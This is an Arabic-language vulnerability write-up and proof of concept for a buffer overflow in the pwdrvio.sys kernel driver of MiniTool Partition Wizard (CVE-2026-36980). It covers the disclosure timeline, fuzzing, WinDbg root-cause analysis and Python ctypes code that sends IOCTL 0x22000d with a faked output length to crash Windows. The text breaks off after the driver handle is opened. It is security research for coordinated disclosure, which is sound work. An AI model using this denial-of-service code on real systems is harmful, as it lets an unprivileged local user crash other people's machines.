CVE-2026-36980-Kernel-BSOD-DoS-PoC

تاريخ المشروع: فبراير 2026 / تم اكتشاف ثغرة تجاوز سعة المخزن المؤقت في معالج IOCTL لبرنامج تشغيل النواة pwdrvio.sys. تسمح الثغرة لمهاجم محلي غير مميز بإتلاف ذاكرة تجمع النواة، مما يؤدي إلى انهيار فوري للنظام (BSOD) ورفض الخدمة.

• 2026-02-09 تم إخطار البائع
• 2026-03-05 أقرّ البائع
• 2026-03-05 تم طلب CVE من MITRE
• 2026-05-10 الإفصاح العام بعد فترة إفصاح منسقة مدتها 90 يومًا

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

رفض الخدمة (DoS) الخطورة: متوسطة درجة CVSS 3.1: 5.5 (DoS)
سلسلة ناقل CVSS:

• DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

تجاوز سعة المخزن المؤقت — رفض الخدمة (CVSS 5.5 - متوسطة)

• يؤدي إلى شاشة الموت الزرقاء (BSOD)
• استغلال مستقل (بدون الحاجة إلى مصحح أخطاء)
• ناتج عن تجاوز سعة المخزن المؤقت عبر IOCTL 0x22000d
• انهيار ثابت في جميع الإعدادات المختبرة

متطلبات الهجوم:

• وصول محلي إلى النظام المستهدف
• حساب مستخدم عادي (غير مسؤول)
• MiniTool Partition Wizard مثبتًا أو غير مثبت (برنامج التشغيل pwdrvio.sys محمّل)

نتائج الاستغلال: DoS - انهيار فوري للنظام وعدم توفر الخدمة

الجدول الزمني لاكتشاف الثغرة

المرحلة 1: الـ Fuzzing الأولي واكتشاف BSOD

التاريخ: 5 فبراير 2026
النشاط: فحص منهجي لبرنامج تشغيل النواة باستخدام Fuzzer مخصص بلغة Python

عملية الاكتشاف:

1. اختيار الهدف:

   • تعداد برامج تشغيل النواة المثبتة على جهاز Windows 10 الافتراضي
   • تحديد pwdrvio.sys كأقدم برنامج تشغيل (الطابع الزمني: 16 يونيو 2009)
   • ملف برنامج التشغيل: C:\Windows\System32\drivers\pwdrvio.sys
   • كائن الجهاز: \\.\PartitionWizardDiskAccesser\0

2. الـ Fuzzing الأولي:

   • تطوير أداة Fuzzer بلغة Python باستخدام ctypes للتفاعل مع برنامج التشغيل
   • إرسال بيانات عشوائية عبر WriteFile/DeviceIoControl إلى جهاز برنامج التشغيل
   • النتيجة: شاشات موت زرقاء متعددة (BSOD)

3. تفعيل المدقق:

   • تم تمكين Driver Verifier لتحسين اكتشاف الأعطال

   verifier /standard /driver pwdrvio.sys
   

   إعدادات المدقق:

   Verifier Flags: 0x001209bb
   Standard Flags Enabled:
     [X] Special pool
     [X] Force IRQL checking  
     [X] Pool tracking
     [X] I/O verification
     [X] Deadlock detection
     [X] DMA checking
     [X] Security checks
     [X] Miscellaneous checks
     [X] DDI compliance checking
   

المرحلة 2: إعداد تصحيح أخطاء النواة باستخدام WinDbg

التاريخ: 5-6 فبراير 2026
النشاط: إنشاء بيئة تصحيح أخطاء النواة لتحليل السبب الجذري

إجراء الإعداد:

1. إعداد المنفذ التسلسلي في VMware:

   VMware Workstation Pro → VM Settings
   ├─ Add Hardware → Serial Port
   ├─ Connection: "Use named pipe"
   ├─ Path: \\.\pipe\com_1
   ├─ End: "This is the server"
   └─ I/O Mode: "Yield CPU on poll" ✓
   

2. إعداد نظام التشغيل الضيف:

   REM Administrator Command Prompt
   bcdedit /debug on
   bcdedit /dbgsettings serial debugport:1 baudrate:115200
   shutdown /r /t 0
   

3. اتصال WinDbg من المضيف:

   WinDbg → File → Attach to Kernel
   ├─ Port: \\.\pipe\com_1
   ├─ Baud Rate: 115200
   ├─ Pipe: ✓
   └─ Reconnect: ✓
   
   Result: "Kernel Debugger connection established."
   

المرحلة 3: تحليل السبب الجذري - اكتشاف الكتابة العشوائية

التاريخ: 6 فبراير 2026
النشاط: تحديد أولية كتابة نواة عشوائية (arbitrary kernel write primitive)

خطوات التحليل:

1. تحليل الوحدة:

   1: kd> lm m pwdrvio
   start             end                 module name
   fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
   
   1: kd> !drvobj pwdrvio 2
   Driver object (fffff805`XXXXXXXX) is for:
    \Driver\pwdrvio
   
   DriverEntry:   fffff805`315f6008
   DriverUnload:  fffff805`315f1060
   
   Dispatch Routines:
   [00] IRP_MJ_CREATE                      fffff805`315f108c
   [02] IRP_MJ_CLOSE                       fffff805`315f12f8
   [03] IRP_MJ_READ                        fffff805`315f16c4
   [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
   [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
   

2. اكتشاف التعليمات البرمجية الثغرة:

   تعيين نقطة توقف على معالج الكتابة:

   1: kd> bp pwdrvio+0x1641
   1: kd> g
   
   Breakpoint 0 hit
   pwdrvio+0x1641:
   fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
   

   النتيجة الحرجة: تم تحديد أولية كتابة عشوائية!

   • تقوم التعليمات بكتابة مؤشر النواة (RAX) إلى العنوان [R11-0x10]
   • يتم تحميل R11 من إطار المكدس: mov r11, qword ptr [rbp+0xB8h]
   • لا يتم إجراء أي تحقق من صحة عنوان الوجهة

3. تحليل حالة السجلات:

   0: kd> r
   rax=fffff805315f1364  ← Kernel code pointer
   r11=ffffe60f84c38750  ← Destination address (controlled via stack)
   rbp=ffffe60f84c38610  ← IRP stack frame
   
   0: kd> dq @rbp+0xB8 L1
   ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 loaded from here
   

المرحلة 4: تحليل من Use-After-Free إلى الكتابة العشوائية

التاريخ: 6-7 فبراير 2026
النشاط: تتبع الثغرة من Use-After-Free إلى حالة write-what-where

سلسلة تلف الذاكرة:

1. تخصيص IRP:

   0: kd> !pool @rbp
   Pool page ffffe60f84c38610 region is Special pool
   *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
   Pooltag Irp+ : I/O verifier allocated IRP packets
   

2. علاقة المخزن المؤقت:

   0: kd> r rsi
   rsi=ffffe60f828df900  ← User buffer location
   
   0: kd> ? @rbp - @rsi
   Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
   

   التحليل: المخزن المؤقت للمستخدم ليس قابلًا للوصول مباشرة من إطار RBP

   • يشير RBP إلى بنية IRP في تجمع النواة (kernel pool)
   • المخزن المؤقت للمستخدم في منطقة ذاكرة مختلفة
   • إزاحة RBP+0xB8 لا تشير إلى مخزن مؤقت يتحكم فيه المستخدم

3. حالة Use-After-Free:

   يحتفظ برنامج التشغيل بمؤشرات معلقة (dangling pointers) في بنية IRP:

   // Ghidra decompilation (pwdrvio+0x1564)
   longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
   
   // No validation!
   lVar5 = IoBuildAsynchronousFsdRequest(...);
   
   // Write to [lVar1 - 0x10]
   *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
   

المرحلة 6: تحديد رفض الخدمة

التاريخ: 8 فبراير 2026
النشاط: اكتشاف ثغرة رفض خدمة مستقلة

الاكتشاف:

1. فحص IOCTL بالـ Fuzzing:

   • اختبار أكواد IOCTL مختلفة بمخازن مؤقتة غير صالحة
   • تحديد IOCTL 0x22000d كونه ثغرة

2. آلية الانهيار:

   # Vulnerable parameters
   TARGET_IOCTL = 0x22000d
   
   input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
   real_output_buffer = ctypes.create_string_buffer(4)
   fake_output_length = 8192  # Driver trusts this value!
   
   DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                   real_output_buffer, fake_output_length, ...)
   

3. سلوك برنامج التشغيل:

   • يثق برنامج التشغيل في طول المخزن المؤقت للإخراج المقدم من المستخدم
   • يحاول كتابة 8192 بايت في مخزن مؤقت بحجم 4 بايت
   • تجاوز سعة المخزن المؤقت ← تلف التجمع ← BSOD

مخرجات المدقق:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type

PROCESS_NAME: python.exe

الثغرة رقم 2: رفض الخدمة (DoS)

تصنيف CWE

• CWE-120: نسخ المخزن المؤقت دون التحقق من حجم الإدخال
• CWE-119: تقييد غير صحيح للعمليات داخل المخزن المؤقت للذاكرة
• CWE-248: استثناء غير ملتقط

تفاصيل الثغرة

الموقع: معالج IOCTL الخاص بـ pwdrvio.sys
IOCTL الثغرة: 0x22000d

آلية الاستغلال:

import ctypes
from ctypes import wintypes

DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d

kernel32 = ctypes.windll.kernel32

# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)